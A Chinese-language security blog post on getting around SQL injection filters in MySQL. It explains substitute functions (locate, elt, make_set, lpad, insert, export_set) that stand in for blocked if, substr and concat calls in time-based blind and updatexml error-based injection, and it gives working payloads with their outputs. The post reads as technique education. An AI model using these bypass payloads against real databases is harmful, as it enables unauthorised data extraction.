来自WgpSec Team 成员 f1hgb投稿
背景
本次文章是在对一次时间盲注时if等函数被ban的时候,通过查找以先函数来进行代替利用
先对用到的函数简单介绍
- ascii():返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
- ord():返回字符的ascii码
- conv(N,from_base,to_base):
N是要转换的数据,from_base是原进制,to_base是目标进制。
```
mysql> select CONV("a",16,2);
-> '1010'
```
- bin():返回数字的二进制表示形式,作为字符串值(注意:必须是数字)
- oct():函数返回数字N的八进制数的字符串表示,这相当于使用CONV(N,10,8)。(还是只能是数字)
- hex():返回十六进制值N一个字符串的表示,这等价于CONV(N,10,16)。
- char():将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
```
mysql> select CHAR(77,121,83,81,'76');
-> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
-> 'MMM'
```
- concat()/concat_ws()/group_concat():返回来自于参数连结的字符串
- length/octet_length/char_length/character_length:长度返回
- locate/position/instr:都是判断位置的,instr可以和limit连用来达到前面两个的效果
```
mysql> select locate('f1','f1fhgb');
-> 1
mysql> select locate('f0','f1fhgb');
-> 0
mysql> select locate('fh','f1fhgb');
-> 3
mysql> select position('bc'in'abc');
-> 2
mysql> select instr('aabca','abc');
-> 2
mysql> select instr('abca','abc');
-> 1
```
- lpad/rpad():一个在最开始填充,一个在末尾填充:
mysql> select lpad('hi',9,'ab');
-> abababahi
- left/right():返回字符串str的最左/右面len个字符。
```
mysql> select left('abcdef',5);
-> abcde
mysql> select right('abcdef',5);
-> bcdef
```
- substringsubstring_index
```
mysql> select substring('12345' from 2 for 1);
-> 2
mysql> select substring('12345',2,1);
-> 2
mysql> select substring_index('tll','t',1);
->
mysql> select substring_index('tll','l',1);
-> t
```
- elt(N,str1,str2,str3,...):如果N= 1,返回str1。如果N=2,返回str2,等等。如果N小于1或大于参数个数,返回NULL。ELT()是FIELD()反运算。
- find_in_set(str,strlist):如果字符串str在由N子串组成的表strlist之中,返回一个1到N的值。一个字符串表是被","分隔的子串组成的一个字符串。
- make_set(bits,str1,str2,...):返回一个集合(包含由","字符分隔的子串组成的一个字符串),由相应的位在bits集合中的的字符串组成。str1对应于位0,str2对应位1,等等。
对代替函数利用的考虑
ascii
和ord
互用char()
可以在宽字节注入的时候禁了0的时候用这个locate
和position
和instr
可以用来盲注,大概构造select * from tll where id=11 union select 1,2,3,locate('a',(select database()));
或者时间盲注感觉有点可能或者不用if
直接时间盲注:- 大致语法
select * from tll where id=1 and (locate('tll',(select database()))=1) and sleep(5);
到时候往里面加substr这些截断就可以真正的时间盲注 left
和right
可以用来在过滤substr
这些的时候用substr
和substring
和substring_index
都可以用来截断,这里提一下substring_index
搭配用法if(substring_index((select database()),'t',1)='',sleep(5),1)
只要慢慢的累加就行- 我们都知道要是用updatexml的时候必须至少含有一个特殊字符,否则会漏掉一些数据而当
concat
被拦截的时候,就会导致没法拼接特殊字符,所以这里可以利用make_set
和lpad
和repeat
和reverse
和export_set
和insert
这些函数的用法就不一一列举,有兴趣的可以去看看
```
mysql> select * from tll where id=11 or updatexml(1,insert(0x7e,2,1,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
```
- 我们都知道如果在想要时间盲注的时候,要是
if
过滤了就差不多凉凉了,但是这里我们可以使用elt
来代替if进行绕过
或者使用make_set
来代替if进行时间盲注:` - find_in_set`在完全过滤了等于号时来进行时间盲注:
vulhub->driftingblues-1靶机渗透测试 通过arp-scan扫描到靶机的IP地址为172.16.9.101 然后对靶机进行初步扫描查询开启的端口nmap -sS -p- 172.16.9.101 扫描结果发现靶机只开放了两个端口22.…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论